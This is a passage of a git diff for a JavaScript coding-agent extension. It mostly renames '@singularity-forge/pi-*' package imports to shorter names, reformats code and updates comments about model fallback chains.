{ const { checkAutoStartAfterDiscuss } = await import("../guided-flow.js"); - const { getAutoDashboardData, isAutoActive, pauseAuto } = - await import("../auto.js"); - const { isSessionSwitchInFlight, resolveAgentEnd } = - await import("../auto-loop.js"); + const { getAutoDashboardData, isAutoActive, pauseAuto } = await import( + "../auto.js" + ); + const { isSessionSwitchInFlight, resolveAgentEnd } = await import( + "../auto-loop.js" + ); const persistModelChanges = resolvePersistModelChanges(); if (checkAutoStartAfterDiscuss()) { clearDiscussionFlowState(); diff --git a/src/resources/extensions/sf/bootstrap/ask-gate.js b/src/resources/extensions/sf/bootstrap/ask-gate.js index 27ec4c3c2..e3c7da6c7 100644 --- a/src/resources/extensions/sf/bootstrap/ask-gate.js +++ b/src/resources/extensions/sf/bootstrap/ask-gate.js @@ -10,9 +10,9 @@ * `reason` string as the tool's error response so the agent re-plans. * * // TODO: integrate into ask_user_questions tool registry once the workflow tools - * // handler and any pi-coding-agent tool registration path surface a + * // handler and any coding-agent tool registration path surface a * // pre-invoke hook point. Current wiring entry point candidates: - * // - packages/pi-coding-agent/src/modes/rpc/rpc-mode.ts (tool dispatch) + * // - packages/coding-agent/src/modes/rpc/rpc-mode.ts (tool dispatch) * // - src/resources/extensions/sf/workflow-tools.js (structured question support) */ import { isAutoActive, isCanAskUser } from "../auto.js"; diff --git a/src/resources/extensions/sf/bootstrap/db-tools.js b/src/resources/extensions/sf/bootstrap/db-tools.js index e6eaa5986..d38eae872 100644 --- a/src/resources/extensions/sf/bootstrap/db-tools.js +++ b/src/resources/extensions/sf/bootstrap/db-tools.js @@ -1,6 +1,6 @@ import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; -import { Text } from "@singularity-forge/pi-tui"; +import { StringEnum } from "@singularity-forge/ai"; +import { Text } from "@singularity-forge/tui"; import { AUTONOMOUS_SOLVER_OUTCOMES, appendAutonomousSolverCheckpoint, diff --git a/src/resources/extensions/sf/bootstrap/dynamic-tools.js b/src/resources/extensions/sf/bootstrap/dynamic-tools.js index c5052934b..d85d949f6 100644 --- a/src/resources/extensions/sf/bootstrap/dynamic-tools.js +++ b/src/resources/extensions/sf/bootstrap/dynamic-tools.js @@ -5,7 +5,7 @@ import { createEditTool, createReadTool, createWriteTool, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; import { DEFAULT_BASH_TIMEOUT_SECS } from "../constants.js"; import { logWarning, setLogBasePath } from "../workflow-logger.js"; /** @@ -83,7 +83,11 @@ export async function ensureDbOpen(basePath = process.cwd()) { const opened = db.openDatabase(dbPath); if (opened) { setLogBasePath(projectRoot); - try { db.backfillUatVerdicts(projectRoot); } catch { /* non-fatal */ } + try { + db.backfillUatVerdicts(projectRoot); + } catch { + /* non-fatal */ + } } return opened; } @@ -105,7 +109,11 @@ export async function ensureDbOpen(basePath = process.cwd()) { `ensureDbOpen auto-migration failed: ${err.message}`, ); } - try { db.backfillUatVerdicts(projectRoot); } catch { /* non-fatal */ } + try { + db.backfillUatVerdicts(projectRoot); + } catch { + /* non-fatal */ + } } return opened; } diff --git a/src/resources/extensions/sf/bootstrap/register-hooks.js b/src/resources/extensions/sf/bootstrap/register-hooks.js index db058b241..8e4e96dfe 100644 --- a/src/resources/extensions/sf/bootstrap/register-hooks.js +++ b/src/resources/extensions/sf/bootstrap/register-hooks.js @@ -1,7 +1,7 @@ import { spawnSync } from "node:child_process"; import { existsSync, readdirSync } from "node:fs"; import { join, relative, resolve } from "node:path"; -import { isToolCallEventType } from "@singularity-forge/pi-coding-agent"; +import { isToolCallEventType } from "@singularity-forge/coding-agent"; import { resetAskUserQuestionsCache } from "../../ask-user-questions.js"; import { formatTokenCount } from "../../shared/format-utils.js"; import { saveActivityLog } from "../activity-log.js"; diff --git a/src/resources/extensions/sf/bootstrap/register-shortcuts.js b/src/resources/extensions/sf/bootstrap/register-shortcuts.js index 90f45c673..288634628 100644 --- a/src/resources/extensions/sf/bootstrap/register-shortcuts.js +++ b/src/resources/extensions/sf/bootstrap/register-shortcuts.js @@ -1,6 +1,6 @@ import { existsSync } from "node:fs"; import { join } from "node:path"; -import { Key } from "@singularity-forge/pi-tui"; +import { Key } from "@singularity-forge/tui"; import { shortcutDesc } from "../../shared/mod.js"; import { projectRoot } from "../commands/context.js"; import { SFDashboardOverlay } from "../dashboard-overlay.js"; diff --git a/src/resources/extensions/sf/bootstrap/session-todo-tools.js b/src/resources/extensions/sf/bootstrap/session-todo-tools.js index 5fbf7fb6a..2334a5864 100644 --- a/src/resources/extensions/sf/bootstrap/session-todo-tools.js +++ b/src/resources/extensions/sf/bootstrap/session-todo-tools.js @@ -37,11 +37,7 @@ export function registerSessionTodoTool(pi) { ], parameters: Type.Object({ op: Type.Union( - [ - Type.Literal("add"), - Type.Literal("check"), - Type.Literal("list"), - ], + [Type.Literal("add"), Type.Literal("check"), Type.Literal("list")], { description: 'Operation: "add" appends a new item, "check" marks one done, "list" shows all.', diff --git a/src/resources/extensions/sf/claude-import.js b/src/resources/extensions/sf/claude-import.js index ca1e0cec1..85f13c64f 100644 --- a/src/resources/extensions/sf/claude-import.js +++ b/src/resources/extensions/sf/claude-import.js @@ -4,7 +4,7 @@ import { basename, join, relative, resolve } from "node:path"; import { getAgentDir, SettingsManager, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; import { PluginImporter } from "./plugin-importer.js"; const SKIP_DIRS = new Set([ diff --git a/src/resources/extensions/sf/commands-config.js b/src/resources/extensions/sf/commands-config.js index 1ee1ce463..bd01a1906 100644 --- a/src/resources/extensions/sf/commands-config.js +++ b/src/resources/extensions/sf/commands-config.js @@ -5,7 +5,7 @@ */ import { existsSync, mkdirSync } from "node:fs"; import { dirname, join } from "node:path"; -import { AuthStorage } from "@singularity-forge/pi-coding-agent"; +import { AuthStorage } from "@singularity-forge/coding-agent"; /** * Tool API key configurations. * This is the source of truth for tool credentials - used by both the config wizard diff --git a/src/resources/extensions/sf/commands-do.js b/src/resources/extensions/sf/commands-do.js index 1677d0ca8..4ceb036ae 100644 --- a/src/resources/extensions/sf/commands-do.js +++ b/src/resources/extensions/sf/commands-do.js @@ -4,7 +4,7 @@ * Routes freeform natural language to the correct /subcommand * using keyword matching. Falls back to /quick for task-like input. */ -import { importExtensionModule } from "@singularity-forge/pi-coding-agent"; +import { importExtensionModule } from "@singularity-forge/coding-agent"; const ROUTES = [ { diff --git a/src/resources/extensions/sf/commands-handlers.js b/src/resources/extensions/sf/commands-handlers.js index 5110b62da..11765370b 100644 --- a/src/resources/extensions/sf/commands-handlers.js +++ b/src/resources/extensions/sf/commands-handlers.js @@ -207,7 +207,8 @@ export async function handleDoctor(args, ctx, pi) { requestedScope, } = parseDoctorArgs(args); const scope = await selectDoctorScope(projectRoot(), requestedScope); - const effectiveScope = mode === "audit" && requestedScope ? requestedScope : scope; + const effectiveScope = + mode === "audit" && requestedScope ? requestedScope : scope; const report = await runSFDoctor(projectRoot(), { fix: mode === "fix" || mode === "heal" || dryRun || fixFlag, dryRun, diff --git a/src/resources/extensions/sf/commands-schedule.js b/src/resources/extensions/sf/commands-schedule.js index 8ab79adba..8c53f7aaa 100644 --- a/src/resources/extensions/sf/commands-schedule.js +++ b/src/resources/extensions/sf/commands-schedule.js @@ -616,7 +616,7 @@ async function runItem(args, ctx) { * Consumer: commands dispatcher (dispatcher.js). * * @param {string|string[]} args - * @param {import("@singularity-forge/pi-coding-agent").ExtensionContext} ctx + * @param {import("@singularity-forge/coding-agent").ExtensionContext} ctx */ export async function handleSchedule(args, ctx) { const parts = _splitArgs(args); diff --git a/src/resources/extensions/sf/commands-todo.js b/src/resources/extensions/sf/commands-todo.js index f686e10f1..def823575 100644 --- a/src/resources/extensions/sf/commands-todo.js +++ b/src/resources/extensions/sf/commands-todo.js @@ -444,7 +444,7 @@ export function buildTodoTriageLLMCall(ctx) { ?.getApiKey?.(model) .catch(() => undefined); return async (system, user) => { - const { completeSimple } = await import("@singularity-forge/pi-ai"); + const { completeSimple } = await import("@singularity-forge/ai"); const resolvedApiKey = await resolvedKeyPromise; const result = await completeSimple( model, diff --git a/src/resources/extensions/sf/commands.js b/src/resources/extensions/sf/commands.js index ac9af4357..30c1d75d2 100644 --- a/src/resources/extensions/sf/commands.js +++ b/src/resources/extensions/sf/commands.js @@ -1,4 +1,4 @@ -import { importExtensionModule } from "@singularity-forge/pi-coding-agent"; +import { importExtensionModule } from "@singularity-forge/coding-agent"; export { registerSFCommand, registerSFCommands } from "./commands/index.js"; export async function handleSFCommand(...args) { diff --git a/src/resources/extensions/sf/commands/catalog.js b/src/resources/extensions/sf/commands/catalog.js index ceca1c3e4..e0d55a643 100644 --- a/src/resources/extensions/sf/commands/catalog.js +++ b/src/resources/extensions/sf/commands/catalog.js @@ -120,12 +120,18 @@ export const TOP_LEVEL_SUBCOMMANDS = [ cmd: "mode", desc: "Switch mode: ask · plan · build · yolo (full autonomy) — or Shift+Tab to cycle", }, - { cmd: "control", desc: "Override run control (manual/assisted/autonomous) — advanced" }, + { + cmd: "control", + desc: "Override run control (manual/assisted/autonomous) — advanced", + }, { cmd: "permission-profile", desc: "Switch permission profile (restricted/normal/trusted/unrestricted)", }, - { cmd: "model-mode", desc: "Override model quality (fast/smart/deep) — advanced" }, + { + cmd: "model-mode", + desc: "Override model quality (fast/smart/deep) — advanced", + }, { cmd: "show-config", desc: "Show effective configuration (models, routing, toggles)", @@ -152,7 +158,10 @@ export const TOP_LEVEL_SUBCOMMANDS = [ desc: "Switch to repair work mode and run diagnostics [--autonomous]", }, { cmd: "tasks", desc: "Background work surface — units, workers, budget" }, - { cmd: "skills", desc: "List discovered skills from .agents/skills/ [reload|--eval|--auto-create]" }, + { + cmd: "skills", + desc: "List discovered skills from .agents/skills/ [reload|--eval|--auto-create]", + }, { cmd: "uok", desc: "UOK runtime health: ledger, last run, last error, startup gate, gate metrics", diff --git a/src/resources/extensions/sf/commands/index.js b/src/resources/extensions/sf/commands/index.js index 9b4a0fb39..954ec994c 100644 --- a/src/resources/extensions/sf/commands/index.js +++ b/src/resources/extensions/sf/commands/index.js @@ -1,4 +1,4 @@ -import { importExtensionModule } from "@singularity-forge/pi-coding-agent"; +import { importExtensionModule } from "@singularity-forge/coding-agent"; import { DIRECT_SF_COMMANDS, getSfTopLevelCommandCompletions, @@ -36,14 +36,14 @@ export function registerSFCommands(pi) { // Cache this command ctx so shortcut handlers (Ctrl+Y) can fall back // to a valid ExtensionCommandContext that has newSession(). // Import lazily to avoid a circular dep at module load time. - importExtensionModule(import.meta.url, "../auto/session.js").then( - ({ getAutoSession }) => { + importExtensionModule(import.meta.url, "../auto/session.js") + .then(({ getAutoSession }) => { const s = getAutoSession(); if (typeof ctx.newSession === "function") { s.lastCommandCtx = ctx; } - }, - ).catch(() => {}); + }) + .catch(() => {}); await dispatchDirectSFCommand(command.cmd, args, ctx, pi); }, }); diff --git a/src/resources/extensions/sf/component-loader.js b/src/resources/extensions/sf/component-loader.js index 401e3e6bf..180fecabe 100644 --- a/src/resources/extensions/sf/component-loader.js +++ b/src/resources/extensions/sf/component-loader.js @@ -11,7 +11,7 @@ */ import { existsSync, readdirSync, readFileSync, statSync } from "node:fs"; import { basename, dirname, join } from "node:path"; -import { parseFrontmatter } from "@singularity-forge/pi-coding-agent"; +import { parseFrontmatter } from "@singularity-forge/coding-agent"; import { parse as parseYaml } from "yaml"; import { computeComponentId, diff --git a/src/resources/extensions/sf/component-types.js b/src/resources/extensions/sf/component-types.js index 137faf857..0fc312204 100644 --- a/src/resources/extensions/sf/component-types.js +++ b/src/resources/extensions/sf/component-types.js @@ -4,7 +4,7 @@ * Shared metadata for installable/discoverable skills and agents. * * Replaces the separate type systems in: - * - packages/pi-coding-agent/src/core/skills.ts (SkillFrontmatter, Skill) + * - packages/coding-agent/src/core/skills.ts (SkillFrontmatter, Skill) * - src/resources/extensions/subagent/agents.ts (AgentConfig) * * Legacy skill and agent formats are supported via backward-compatible loading. diff --git a/src/resources/extensions/sf/config-overlay.js b/src/resources/extensions/sf/config-overlay.js index 0cb39e5ed..9486acd93 100644 --- a/src/resources/extensions/sf/config-overlay.js +++ b/src/resources/extensions/sf/config-overlay.js @@ -6,7 +6,7 @@ * budget, workflow toggles, and preference file sources. * Opened via `/show-config` or `/config`. */ -import { Key, matchesKey, truncateToWidth } from "@singularity-forge/pi-tui"; +import { Key, matchesKey, truncateToWidth } from "@singularity-forge/tui"; import { getGlobalSFPreferencesPath, getProjectSFPreferencesPath, diff --git a/src/resources/extensions/sf/dashboard-overlay.js b/src/resources/extensions/sf/dashboard-overlay.js index a2b744f17..a486548ca 100644 --- a/src/resources/extensions/sf/dashboard-overlay.js +++ b/src/resources/extensions/sf/dashboard-overlay.js @@ -11,7 +11,7 @@ import { matchesKey, truncateToWidth, visibleWidth, -} from "@singularity-forge/pi-tui"; +} from "@singularity-forge/tui"; import { centerLine, fitColumns, diff --git a/src/resources/extensions/sf/doctor-providers.js b/src/resources/extensions/sf/doctor-providers.js index 2fb298f73..a8d1cf682 100644 --- a/src/resources/extensions/sf/doctor-providers.js +++ b/src/resources/extensions/sf/doctor-providers.js @@ -11,7 +11,7 @@ * - Optional search/tool integrations (Brave, Tavily, Jina, Context7) */ import { existsSync } from "node:fs"; -import { AuthStorage } from "@singularity-forge/pi-coding-agent"; +import { AuthStorage } from "@singularity-forge/coding-agent"; import { getAuthPath, PROVIDER_REGISTRY } from "./key-manager.js"; import { loadEffectiveSFPreferences } from "./preferences.js"; import { getConfiguredEnvApiKey } from "./provider-env-auth.js"; diff --git a/src/resources/extensions/sf/doctor.js b/src/resources/extensions/sf/doctor.js index ef491764c..4a3b99daf 100644 --- a/src/resources/extensions/sf/doctor.js +++ b/src/resources/extensions/sf/doctor.js @@ -926,6 +926,7 @@ export { formatDoctorReportJson, summarizeDoctorIssues, } from "./doctor-format.js"; + /** * Characters that are used as delimiters in SF state management documents * and should not appear in milestone or slice titles. diff --git a/src/resources/extensions/sf/ecosystem/loader.js b/src/resources/extensions/sf/ecosystem/loader.js index 2e891af1c..72a8f1345 100644 --- a/src/resources/extensions/sf/ecosystem/loader.js +++ b/src/resources/extensions/sf/ecosystem/loader.js @@ -5,12 +5,12 @@ import * as fs from "node:fs"; import * as path from "node:path"; import { pathToFileURL } from "node:url"; -import { getAgentDir } from "@singularity-forge/pi-coding-agent"; +import { getAgentDir } from "@singularity-forge/coding-agent"; import { logWarning } from "../workflow-logger.js"; import { createSFExtensionAPI } from "./sf-extension-api.js"; // ─── Trust check (inlined; pi does not export isProjectTrusted from its -// package root, and constraint forbids modifying packages/pi-coding-agent/) ─ +// package root, and constraint forbids modifying packages/coding-agent/) ─ const TRUSTED_PROJECTS_FILE = "trusted-projects.json"; function isProjectTrusted(projectPath, agentDir) { const canonical = path.resolve(projectPath); diff --git a/src/resources/extensions/sf/env-utils.js b/src/resources/extensions/sf/env-utils.js index 56ab102de..3302a7ef9 100644 --- a/src/resources/extensions/sf/env-utils.js +++ b/src/resources/extensions/sf/env-utils.js @@ -2,7 +2,7 @@ // Copyright (c) 2026 Jeremy McSpadden // // Pure utility for checking existing env keys in .env files and process.env. -// Extracted from get-secrets-from-user.ts to avoid pulling in @singularity-forge/pi-tui +// Extracted from get-secrets-from-user.ts to avoid pulling in @singularity-forge/tui // when only env-checking is needed (e.g. from files.ts during report generation). import { readFile } from "node:fs/promises"; /** diff --git a/src/resources/extensions/sf/exit-command.js b/src/resources/extensions/sf/exit-command.js index 43b48ee3e..49b989c36 100644 --- a/src/resources/extensions/sf/exit-command.js +++ b/src/resources/extensions/sf/exit-command.js @@ -1,4 +1,4 @@ -import { importExtensionModule } from "@singularity-forge/pi-coding-agent"; +import { importExtensionModule } from "@singularity-forge/coding-agent"; export function registerExitCommand(pi, deps = {}) { pi.registerCommand("exit", { description: "Exit SF gracefully", diff --git a/src/resources/extensions/sf/extension-manifest.json b/src/resources/extensions/sf/extension-manifest.json index 734b614d4..a8ad731e0 100644 --- a/src/resources/extensions/sf/extension-manifest.json +++ b/src/resources/extensions/sf/extension-manifest.json @@ -167,8 +167,6 @@ "model_select", "before_provider_request" ], - "shortcuts": [ - "Ctrl+Alt+G" - ] + "shortcuts": ["Ctrl+Alt+G"] } } diff --git a/src/resources/extensions/sf/graph-context.js b/src/resources/extensions/sf/graph-context.js index c73189a95..a3b232a0f 100644 --- a/src/resources/extensions/sf/graph-context.js +++ b/src/resources/extensions/sf/graph-context.js @@ -93,14 +93,14 @@ async function resolveGraphApi() { if (resolvedGraphApi && cachedGraphApi) return cachedGraphApi; resolvedGraphApi = true; try { - const imported = await import("@singularity-forge/pi-agent-core"); + const imported = await import("@singularity-forge/agent-core"); if (isGraphApi(imported)) { cachedGraphApi = imported; return cachedGraphApi; } logWarning( "prompt", - "@singularity-forge/pi-agent-core graph exports unavailable; using local graph fallback", + "@singularity-forge/agent-core graph exports unavailable; using local graph fallback", ); } catch { // Fall back to local reader implementation. @@ -116,7 +116,7 @@ async function resolveGraphApi() { * the result as an inlined context block. * * Returns null when: - * - @singularity-forge/pi-agent-core fails to import + * - @singularity-forge/agent-core fails to import * - graph.json does not exist (graphQuery already handles this gracefully) * - query returns zero nodes * diff --git a/src/resources/extensions/sf/graph.js b/src/resources/extensions/sf/graph.js index 96587113f..2e7835a7b 100644 --- a/src/resources/extensions/sf/graph.js +++ b/src/resources/extensions/sf/graph.js @@ -272,4 +272,3 @@ export function initializeGraph(def) { }, }; } - diff --git a/src/resources/extensions/sf/index.js b/src/resources/extensions/sf/index.js index cc84c3531..090c7fb2f 100644 --- a/src/resources/extensions/sf/index.js +++ b/src/resources/extensions/sf/index.js @@ -19,13 +19,13 @@ export default async function registerExtension(pi) { // tools, hooks) fails — e.g. due to a Windows-specific import error. const { registerSFCommands } = await import("./commands/index.js"); registerSFCommands(pi); - + // Register steerable autonomous extension for Copilot Auto-style controls const { default: steerableAutonomousExtension } = await import( "./steerable-autonomous-extension.js" ); steerableAutonomousExtension(pi); - + // Full setup (shortcuts, tools, hooks) in a separate try/catch so that // any platform-specific load failure doesn't take out the core command. try { diff --git a/src/resources/extensions/sf/key-manager.js b/src/resources/extensions/sf/key-manager.js index cab96b1d4..2f8388b8d 100644 --- a/src/resources/extensions/sf/key-manager.js +++ b/src/resources/extensions/sf/key-manager.js @@ -2,11 +2,11 @@ * API Key Manager — /keys * * Comprehensive CLI for managing API keys: list, add, remove, test, rotate, doctor. - * Works with AuthStorage from pi-coding-agent — no core package changes needed. + * Works with AuthStorage from coding-agent — no core package changes needed. */ import { chmodSync, existsSync, mkdirSync, statSync } from "node:fs"; import { dirname, join } from "node:path"; -import { AuthStorage } from "@singularity-forge/pi-coding-agent"; +import { AuthStorage } from "@singularity-forge/coding-agent"; import { getErrorMessage } from "./error-utils.js"; export const PROVIDER_REGISTRY = [ // LLM Providers diff --git a/src/resources/extensions/sf/learning/fallback-chain-writer.mjs b/src/resources/extensions/sf/learning/fallback-chain-writer.mjs index 6bc0ad948..4e9fe9028 100644 --- a/src/resources/extensions/sf/learning/fallback-chain-writer.mjs +++ b/src/resources/extensions/sf/learning/fallback-chain-writer.mjs @@ -2,7 +2,7 @@ * sf-learning: fallback-chain writer * * Writes per-unit-type runtime fallback chains into `~/.sf/agent/settings.json` - * under `fallback.chains.*`, so pi-ai's `FallbackResolver` has ONE entry per + * under `fallback.chains.*`, so ai's `FallbackResolver` has ONE entry per * active unit type to walk when a dispatch hits a 429 or other retryable * failure. Without this, the resolver reads an empty `chains` object and * immediately returns `null`, which surfaces as `"All providers exhausted"` @@ -12,7 +12,7 @@ * * `~/.sf/preferences.md` tells sf which model to START a unit with — it * feeds `before_model_select`, which this plugin already intercepts. But - * once dispatch begins and the LLM call 429s, pi-ai's retry path reads + * once dispatch begins and the LLM call 429s, ai's retry path reads * `~/.sf/agent/settings.json` → `fallback.chains` directly via * `SettingsManager.getFallbackSettings()`. Those two configs are separate * pipelines. preferences.md never reaches the retry walker. @@ -24,7 +24,7 @@ * 2. The plugin already has the ranking data in-memory via * `blendedRanking` — reusing it gives dispatch-path and retry-path * the same ordering. - * 3. Providers that 429 get demoted naturally: pi-ai marks them + * 3. Providers that 429 get demoted naturally: ai marks them * exhausted via `authStorage.markProviderExhausted()` and skips * them for the rest of the session; the learning plugin then * re-ranks on the next session start using observed failure rate. @@ -32,12 +32,12 @@ * ## When chains take effect (one-session latency — intentional) * * `SettingsManager.load()` reads `settings.json` into an in-memory cache - * at pi-ai boot (pi-coding-agent/src/core/settings-manager.ts). Extensions + * at ai boot (coding-agent/src/core/settings-manager.ts). Extensions * fire `session_start` AFTER that load, so the plugin's write lands on * the next restart — NOT the current session. This is intentional: * * - Each session wakes up with the ranking the previous session learned. - * - No in-memory settings mutation needed (pi-ai doesn't expose the + * - No in-memory settings mutation needed (ai doesn't expose the * settings manager to extension context — see * `dist/core/extensions/types.d.ts:181-208` ExtensionContext fields). * - A fresh install produces an empty chain block; after the first full @@ -47,7 +47,7 @@ * settings.json (or that the user writes manually via the one-off python * bootstrap). After that, every session has up-to-date chains. * - * If you need mid-session adaptive fallback, see pi-ai's + * If you need mid-session adaptive fallback, see ai's * `authStorage.markProviderExhausted()` which handles within-session * demotion of failing providers — we don't duplicate that mechanism. * @@ -130,7 +130,7 @@ function rankModelsForUnitType(unitType, deps) { } /** - * Derive (provider, modelId) from a pi-ai model id. Supports both + * Derive (provider, modelId) from a ai model id. Supports both * "provider/model" and bare-id forms — bare ids are returned with a * null provider and must be resolved against the registered models. * @@ -152,7 +152,7 @@ function splitProviderModel(fullModelId) { * Build a reverse lookup from semantic benchmark IDs to the list of * (provider, model) pairs in the user's enabledModels list. Used to expand * benchmark entries (which are keyed by semantic IDs like `kimi-k2.5`, - * `glm-5`) into concrete pi-ai FallbackChainEntry records. + * `glm-5`) into concrete ai FallbackChainEntry records. * * Example: * enabledModels = ["kimi-coding/kimi-for-coding", "opencode-go/kimi-k2.5", "zai/glm-5"] @@ -162,7 +162,7 @@ function splitProviderModel(fullModelId) { * * Matching is case-sensitive. Ollama-cloud style IDs with `:cloud` suffix * (`kimi-k2.5:cloud`) are also mapped — the bare benchmark ID for them is - * typically `kimi-k2.5`, so we match on the pi-ai model ID prefix too. + * typically `kimi-k2.5`, so we match on the ai model ID prefix too. * * @param {string[]} enabledModels * @returns {Map>} @@ -213,13 +213,13 @@ function buildBareIdReverseIndex(enabledModels) { const model = entry.slice(slashIdx + 1); const providerModel = { provider, model }; - // Primary index key: the exact pi-ai model id after the slash. + // Primary index key: the exact ai model id after the slash. const primaryKey = model; addBareIdIndexEntry(index, primaryKey, providerModel); addBenchmarkAliasIndexEntry(index, primaryKey, providerModel); // Secondary index keys: stripped variant-suffix forms so benchmark - // IDs like `kimi-k2.5` can match pi-ai ids like `kimi-k2.5:cloud` + // IDs like `kimi-k2.5` can match ai ids like `kimi-k2.5:cloud` // or `minimax-m2.7` can match `minimax-m2.7:cloud`. const colonIdx = model.indexOf(":"); if (colonIdx > 0) { @@ -251,7 +251,7 @@ function readEnabledModels(settingsPath) { } /** - * Turn a ranked list of semantic-or-prefixed model IDs into pi-ai + * Turn a ranked list of semantic-or-prefixed model IDs into ai * FallbackChainEntry records. For each rank position, emits one entry per * concrete (provider, model) pair that matches the benchmark key. * @@ -264,7 +264,7 @@ function readEnabledModels(settingsPath) { * Priorities are `rankIndex * PRIORITY_STEP + expansionOffset`, so all * expansions of rank 0 come before any expansion of rank 1. * - * Runtime demotion of failing providers is handled by pi-ai itself via + * Runtime demotion of failing providers is handled by ai itself via * `authStorage.markProviderExhausted()`, and next-session re-ranking is * driven by observed-outcome statistics in the learning database. * @@ -401,7 +401,7 @@ function resolveCanonicalPath(pathValue) { /** * Check for a project-level `.sf/agent/settings.json` in `cwd`. - * pi-ai's settings manager deep-merges project settings over global, + * ai's settings manager deep-merges project settings over global, * so a project-level `fallback` block silently neutralizes the chains * this plugin writes globally (combatant finding #4). * @@ -455,7 +455,7 @@ function detectProjectSettingsShadow(cwd, globalSettingsPath, log) { * chain — e.g. the user overrode the model via `/model`). * * Also checks for a project-level `.sf/agent/settings.json` that might - * silently shadow the global chains via pi-ai's deep-merge, and warns + * silently shadow the global chains via ai's deep-merge, and warns * via `deps.opts.log` when one is found. * * @param {string} settingsPath @@ -473,7 +473,7 @@ export function writeFallbackChains(settingsPath, deps) { // Step 0: read enabledModels and build the semantic-id → [providers] // reverse lookup. model-benchmarks.json uses semantic ids - // (`kimi-k2.5`, `glm-5`) and every pi-ai FallbackChainEntry requires a + // (`kimi-k2.5`, `glm-5`) and every ai FallbackChainEntry requires a // provider, so without this map every ranking becomes an empty entry list. // This was the "wrote 0 fallback chain(s)" bug. const enabledModels = readEnabledModels(settingsPath); @@ -494,7 +494,7 @@ export function writeFallbackChains(settingsPath, deps) { if (ranked.length > 0) rankedByUnitType[unitType] = ranked; } - // Step 2: materialize pi-ai entry arrays. + // Step 2: materialize ai entry arrays. const chainsByName = {}; let totalEntries = 0; for (const [unitType, ranked] of Object.entries(rankedByUnitType)) { diff --git a/src/resources/extensions/sf/learning/hook-handler.test.mjs b/src/resources/extensions/sf/learning/hook-handler.test.mjs index 3c566598f..f38e900c6 100644 --- a/src/resources/extensions/sf/learning/hook-handler.test.mjs +++ b/src/resources/extensions/sf/learning/hook-handler.test.mjs @@ -237,7 +237,7 @@ test("selectModel: observedStatsMap as Map (not plain object) is accepted", (_t) // --------------------------------------------------------------------------- /** - * Build a minimal fake pi-coding-agent ExtensionAPI: + * Build a minimal fake coding-agent ExtensionAPI: * - on(event, handler) — record handlers per event name * - notify(message, type) — record notifications * - log.{info,warn,error} — record log calls diff --git a/src/resources/extensions/sf/memory-extractor.js b/src/resources/extensions/sf/memory-extractor.js index 11da1eef6..92e884e03 100644 --- a/src/resources/extensions/sf/memory-extractor.js +++ b/src/resources/extensions/sf/memory-extractor.js @@ -63,7 +63,7 @@ export function buildMemoryLLMCall(ctx) { if (!model) return null; const selectedModel = model; return async (system, user) => { - const { completeSimple } = await import("@singularity-forge/pi-ai"); + const { completeSimple } = await import("@singularity-forge/ai"); // Resolve API key inside the async body on each invocation so that // rotated or revoked credentials are picked up without rebuilding the // LLM call function. See: https://github.com/singularity-forge/sf-run/issues/2959 diff --git a/src/resources/extensions/sf/metrics.js b/src/resources/extensions/sf/metrics.js index e9fe5b5e3..d9ed04703 100644 --- a/src/resources/extensions/sf/metrics.js +++ b/src/resources/extensions/sf/metrics.js @@ -27,7 +27,7 @@ import { buildAuditEnvelope, emitUokAuditEvent } from "./uok/audit.js"; import { isAuditEnvelopeEnabled } from "./uok/audit-toggle.js"; // Re-export from shared — import directly from format-utils to avoid pulling -// in the full barrel (mod.js → ui.js → @singularity-forge/pi-tui) which breaks when loaded +// in the full barrel (mod.js → ui.js → @singularity-forge/tui) which breaks when loaded // outside jiti's alias resolution (e.g. dynamic import in auto-loop reports). export { formatTokenCount } from "../shared/format-utils.js"; diff --git a/src/resources/extensions/sf/milestone-id-utils.js b/src/resources/extensions/sf/milestone-id-utils.js index 54d3db256..0d82b91a4 100644 --- a/src/resources/extensions/sf/milestone-id-utils.js +++ b/src/resources/extensions/sf/milestone-id-utils.js @@ -3,8 +3,8 @@ * This file exists for backwards compatibility with older import paths. */ export { - MILESTONE_ID_RE, extractMilestoneSeq, - milestoneIdSort, findMilestoneIds, + MILESTONE_ID_RE, + milestoneIdSort, } from "./milestone-ids.js"; diff --git a/src/resources/extensions/sf/milestone-ids.js b/src/resources/extensions/sf/milestone-ids.js index ce2814bb6..a68573d87 100644 --- a/src/resources/extensions/sf/milestone-ids.js +++ b/src/resources/extensions/sf/milestone-ids.js @@ -10,8 +10,8 @@ import { getErrorMessage } from "./error-utils.js"; import { extractMilestoneSeq, milestoneIdSort } from "./milestone-id-sort.js"; import { milestonesDir } from "./paths.js"; import { loadQueueOrder, sortByQueueOrder } from "./queue-order.js"; -import { logWarning } from "./workflow-logger.js"; import { getAllMilestones } from "./sf-db.js"; +import { logWarning } from "./workflow-logger.js"; // ─── Regex ────────────────────────────────────────────────────────────────── /** Matches both classic `M001` and unique `M001-abc123` formats (anchored). */ export const MILESTONE_ID_RE = /^M\d{3}(?:-[a-z0-9]{6})?$/; diff --git a/src/resources/extensions/sf/model-router.js b/src/resources/extensions/sf/model-router.js index 517a74dde..e247980a8 100644 --- a/src/resources/extensions/sf/model-router.js +++ b/src/resources/extensions/sf/model-router.js @@ -1,8 +1,8 @@ // SF Extension — Dynamic Model Router // Maps complexity tiers to models, enforcing downgrade-only semantics. // The user's configured model is always the ceiling. -import { getProviderCapabilities } from "@singularity-forge/pi-ai"; -import { getToolCompatibility } from "@singularity-forge/pi-coding-agent"; +import { getProviderCapabilities } from "@singularity-forge/ai"; +import { getToolCompatibility } from "@singularity-forge/coding-agent"; import { tierOrdinal } from "./complexity-classifier.js"; // ─── Known Model Tiers ─────────────────────────────────────────────────────── // Maps known model IDs to their capability tier. Used when tier_models is not diff --git a/src/resources/extensions/sf/notification-overlay.js b/src/resources/extensions/sf/notification-overlay.js index d5698327c..600fcf702 100644 --- a/src/resources/extensions/sf/notification-overlay.js +++ b/src/resources/extensions/sf/notification-overlay.js @@ -6,7 +6,7 @@ import { matchesKey, truncateToWidth, visibleWidth, -} from "@singularity-forge/pi-tui"; +} from "@singularity-forge/tui"; import { joinColumns, padRight } from "../shared/mod.js"; import { clearNotifications, diff --git a/src/resources/extensions/sf/operating-model.js b/src/resources/extensions/sf/operating-model.js index 132d141fe..afd3b0e74 100644 --- a/src/resources/extensions/sf/operating-model.js +++ b/src/resources/extensions/sf/operating-model.js @@ -110,7 +110,8 @@ export const SF_MODE_PRESETS = Object.freeze({ }, build: { label: "Build", - 